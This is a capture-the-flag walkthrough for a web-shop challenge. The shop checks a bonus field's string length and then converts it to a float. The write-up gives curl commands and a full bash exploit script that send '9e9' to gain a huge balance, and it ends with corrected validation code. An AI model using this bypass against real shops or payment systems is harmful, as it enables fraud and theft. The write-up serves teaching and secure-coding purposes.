Tsunami
Tsunami
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Scientific notation bypass for length validation, Type confusion (string to float conversion)
Summary
Walkthrough of the CUSTOM Web Tsunami. Task: Web shop with bonus system where bonus_amount is validated by string length (max 3 chars) but then converted to float. Solution: Use scientific notation (9e9 = 9 billion) to bypass length check
Description
Вы почти достигаете берега, но боковым зрением замечаете что-то странное. Оборачиваетесь — о нет, это же огромная волна из багов! Они, как всегда, возникли в последний момент и пытаются помешать вам доделать начатое.
Ну уж нет: скорее купите якорь, он поможет вам устоять. А там и до берега недалеко.
Магазин на берегу: tsunami-aidck3sk.alfactf.ru/
Analysis
Application Structure
FastAPI + Redis web shop:
- Session is stored in Redis with balance and bonus received flag
- Bonus can be received once via
/api/apply-bonus - Need to buy "Anchor" (id=12, price 15,000) to get the flag
Vulnerable Code
python read-only • copy allowed# models.py class BonusRequest(BaseModel): bonus_amount: str # String! # main.py @app.post("/api/apply-bonus") async def apply_bonus(bonus_data: BonusRequest, session: SessionData = Depends(get_existing_session)): if session.bonus_received: raise HTTPException(status_code=400, detail="Bonus already applied") if len(bonus_data.bonus_amount) > 3: # Length check - max 3 characters raise HTTPException(status_code=400, detail="Invalid bonus amount") session.balance += float(bonus_data.bonus_amount) # Conversion to float! session.bonus_received = True update_session(session) return {"success": True, "balance": session.balance}
Vulnerability
Type Confusion / Scientific Notation Bypass
The check len(bonus_amount) > 3 limits the string to 3 characters.
But then the string is converted to float().
Python supports scientific notation:
"9e9"= 3 characters = 9,000,000,000 (9 billion!)"1e4"= 3 characters = 10,000"9e3"= 3 characters = 9,000
This way, we can bypass the length check and get a huge balance.
Solution
Step 1: Get Session
bash read-only • copy allowedcurl -s -c cookies.txt "https://tsunami-aidck3sk.alfactf.ru/api/session"
Response:
json read-only • copy allowed{"session_id":"uuid-here","balance":0.0,"bonus_received":false}
Step 2: Apply Bonus with Scientific Notation
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "https://tsunami-aidck3sk.alfactf.ru/api/apply-bonus" \ -H "Content-Type: application/json" \ -d '{"bonus_amount": "9e9"}'
Response:
json read-only • copy allowed{"success":true,"balance":9000000000.0}
9 billion in balance!
Step 3: Buy Anchor and Get Flag
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "https://tsunami-aidck3sk.alfactf.ru/api/checkout" \ -H "Content-Type: application/json" \ -d '{"items": [{"product_id": 12, "quantity": 1}]}'
Response:
json read-only • copy allowed{"success":true,"balance":8999985000.0,"total":15000,"flag":"alfa{REDACTED}"}
Full Exploit
bash read-only • copy allowed#!/bin/bash # tsunami_exploit.sh TARGET="https://tsunami-aidck3sk.alfactf.ru" COOKIES=$(mktemp) # 1. Get session echo "[*] Getting session..." curl -s -c "$COOKIES" "$TARGET/api/session" | jq . # 2. Apply bonus with scientific notation echo "[*] Applying bonus with scientific notation (9e9 = 9 billion)..." curl -s -b "$COOKIES" -X POST "$TARGET/api/apply-bonus" \ -H "Content-Type: application/json" \ -d '{"bonus_amount": "9e9"}' | jq . # 3. Buy anchor (product_id=12, price=15000) echo "[*] Buying anchor to get flag..." curl -s -b "$COOKIES" -X POST "$TARGET/api/checkout" \ -H "Content-Type: application/json" \ -d '{"items": [{"product_id": 12, "quantity": 1}]}' | jq . rm "$COOKIES"
Scientific Notation Variants
| String | Length | Value |
|---|---|---|
9e9 | 3 | 9,000,000,000 |
1e9 | 3 | 1,000,000,000 |
9e4 | 3 | 90,000 |
1e4 | 3 | 10,000 |
9e3 | 3 | 9,000 |
| |
Defense
Proper validation:
python read-only • copy allowed# Option 1: Validate numeric value bonus = float(bonus_data.bonus_amount) if bonus > 1000: # Maximum bonus raise HTTPException(status_code=400, detail="Bonus too large") # Option 2: Use int and validate format if not bonus_data.bonus_amount.isdigit(): raise HTTPException(status_code=400, detail="Invalid format") bonus = int(bonus_data.bonus_amount) # Option 3: Accept number directly class BonusRequest(BaseModel): bonus_amount: int = Field(le=999) # Pydantic validation
References
- Python float() documentation
- Scientific notation in programming
Key Takeaways / Lessons
- Mastering Scientific notation bypass for length validation, Type confusion (string to float conversion) was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-18 • CUSTOM • Tsunami • Difficulty: Easy